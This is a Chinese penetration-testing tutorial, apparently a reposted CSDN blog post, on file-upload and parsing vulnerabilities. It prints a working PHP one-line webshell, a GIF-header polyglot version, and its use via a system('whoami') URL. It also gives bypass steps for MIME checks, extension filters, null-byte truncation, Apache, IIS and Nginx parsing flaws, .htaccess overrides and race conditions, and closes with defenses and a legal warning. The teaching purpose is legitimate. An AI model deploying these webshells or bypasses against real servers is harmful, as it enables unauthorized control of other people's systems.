关注

【第九期】漏洞攻防-突破边界篇:文件上传与解析漏洞 —— 一张图片如何变成网站后门?

💡 导读:如果给你一个网站的后台权限,你能拿到服务器权限吗?很多时候,突破口就在“上传头像”或“上传附件”这个功能上。本期我们将揭秘 Webshell(网页木马)​ 的奥秘,看看攻击者如何将一张看似无害的图片,变成控制服务器的“特洛伊木马”。


一、 为什么文件上传是“高危漏洞”?

在渗透测试中,文件上传通常是攻击链的最后一环(Get Shell)。

  • SQL 注入:只能偷数据。

  • XSS:只能控制浏览器。

  • 文件上传 + 解析漏洞:直接获得服务器的命令行权限(Webshell)。

核心逻辑:网站允许你上传文件 -> 你没有遵守规则上传图片,而是上传了一个包含恶意代码的文件(如 .php) -> 网站错误地执行了这个文件 -> 服务器沦陷。


二、 Webshell:黑客的“遥控器”

Webshell​ 是一个简单的网页脚本文件,里面只有一行核心代码,但威力巨大。

1. 经典 PHP 一句话木马

创建一个名为 shell.php的文件,内容如下:

<?php @eval($_REQUEST['cmd']); ?>
  • @eval():PHP 函数,把字符串当作 PHP 代码执行。

  • $_REQUEST['cmd']:接收用户通过 GET 或 POST 传来的参数 cmd

使用方法

上传成功后,访问 http://target.com/uploads/shell.php?cmd=system("whoami");

结果:服务器会执行 whoami命令,并返回当前用户权限。这比 RCE 更稳定、更持久。


三、 实战演练:突破上传限制

开发者通常会限制上传文件的类型(MIME Type)和后缀名。但黑客总有办法绕过。

1. 前端 JS 绕过(小儿科)

现象:选择 shell.php时,浏览器立刻弹出“只允许上传图片”。

原因:验证逻辑写在 JavaScript 中,只在客户端执行。

绕过

  • 禁用浏览器 JS。

  • 用 Burp Suite 拦截请求,先把文件改成 shell.jpg绕过前端检测,拦截后再把文件名改回 shell.php

2. MIME 类型绕过

现象:后端代码检查 $_FILES['file']['type'] == 'image/jpeg'

绕过:用 Burp Suite 拦截,修改 Content-Type头:

Content-Type: image/jpeg

即使文件内容是 PHP 代码,只要头是图片类型,就能骗过后端。

3. 文件内容绕过(幻数/GIF89a)

现象:后端检查文件头(Magic Number),如果不是图片格式就拦截。

绕过:在 PHP 代码开头加上 GIF 的文件头。

GIF89a
<?php @eval($_REQUEST['cmd']); ?>

保存为 shell.php,它既是合法的 GIF 图片,又是可执行的 PHP 脚本。

4. 双扩展名绕过

现象:后端禁止 .php后缀。

绕过

  • shell.php.jpg(Apache 解析漏洞,如果配置不当,可能执行 PHP)。

  • shell.php%00.jpg(利用 %00 截断,经典老漏洞)。


四、 解析漏洞:给黑客递刀子

有时候,文件本身没问题,但服务器配置有问题,导致普通文件被当作代码执行。

1. Apache 解析漏洞(未知后缀)

原理:Apache 从右向左解析文件名。

  • 文件:shell.php.xxx.yyy

  • Apache 发现 .yyy不认识,继续向左看 .xxx也不认识,直到看到 .php,于是把文件当作 PHP 执行。

2. IIS 解析漏洞(分号截断)

原理:IIS 6.0 在处理 ;时有 Bug。

  • URL:http://target.com/shell.asp;.jpg

  • IIS 认为后缀是 .jpg(安全),但实际上执行的是 .asp代码。

3. Nginx 解析漏洞(FastCGI)

原理:配置不当导致任意文件被当作 PHP 执行。

  • URL:http://target.com/image.jpg/.php

  • 结果:服务器会把 image.jpg当作 PHP 脚本来解析执行。


五、 2026 年新趋势:.htaccess 与 条件竞争

1. .htaccess 覆盖

如果服务器允许上传 .htaccess文件,你可以上传一个内容为 AddType application/x-httpd-php .jpg的 .htaccess文件。

效果:服务器会将所有 .jpg文件当作 PHP 执行。接着你再上传一个包含 PHP 代码的 avatar.jpg,它就变成了 Webshell。

2. 条件竞争(Race Condition)

原理:有些网站逻辑是“先上传,再检查,最后删除”。

攻击:用 Burp Suite Intruder 疯狂上传 shell.php,同时在另一个窗口疯狂访问 shell.php。在服务器还没来得及删除它的那一瞬间,成功访问并执行代码。


六、 防御指南:如何彻底堵死?

  1. 重命名文件:不要使用用户上传的原始文件名。使用随机数重命名(如 md5(time()).jpg)。

  2. 限制后缀:使用白名单(只允许 .jpg.png),坚决不用黑名单。

  3. 文件内容检测:使用 GD 库或 Imagick 对图片进行二次渲染(重新生成图片),这会杀死所有嵌入在图片里的 PHP 代码。

  4. 禁止执行权限:将上传目录设置为不可执行脚本(Nginx 配置 location ~* \.(php)$ { deny all; })。


⚠️ 安全警示与法律红线

🚨 最高级别警告:

  1. 这是犯罪红线利用文件上传漏洞获取 Webshell 属于严重的非法入侵行为。在中国司法实践中,只要成功上传并执行 Webshell,无论是否造成破坏,极大概率构成 非法控制计算机信息系统罪

  2. 严禁上传任何 WebShell:即使在授权测试中,也严禁上传 <?php system($_GET['cmd']); ?>这类完整功能的 WebShell。如需验证,最多使用无害的探针(如 <?php echo 'test'; ?>),且测试完毕必须立即删除。

  3. 靶场环境:请在本地虚拟机(如 DVWA、Upload-Labs)中练习。切勿将测试代码上传至任何云服务器或公网网站。

Webshell 是网络空间的违禁武器。请做一名守护者,而不是破坏者。


💬 互动环节

  • 你在挖洞时遇到过最奇葩的上传限制是什么?

  • 除了 PHP,你还知道 ASP、JSP 的一句话木马怎么写吗?

  • 欢迎在评论区留言讨论!

👉 下一期预告:【高级进阶篇】自动化与智能化 —— 如何用 Python 和 AI 辅助挖掘漏洞?

转载自CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/c_program113/article/details/162129399

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--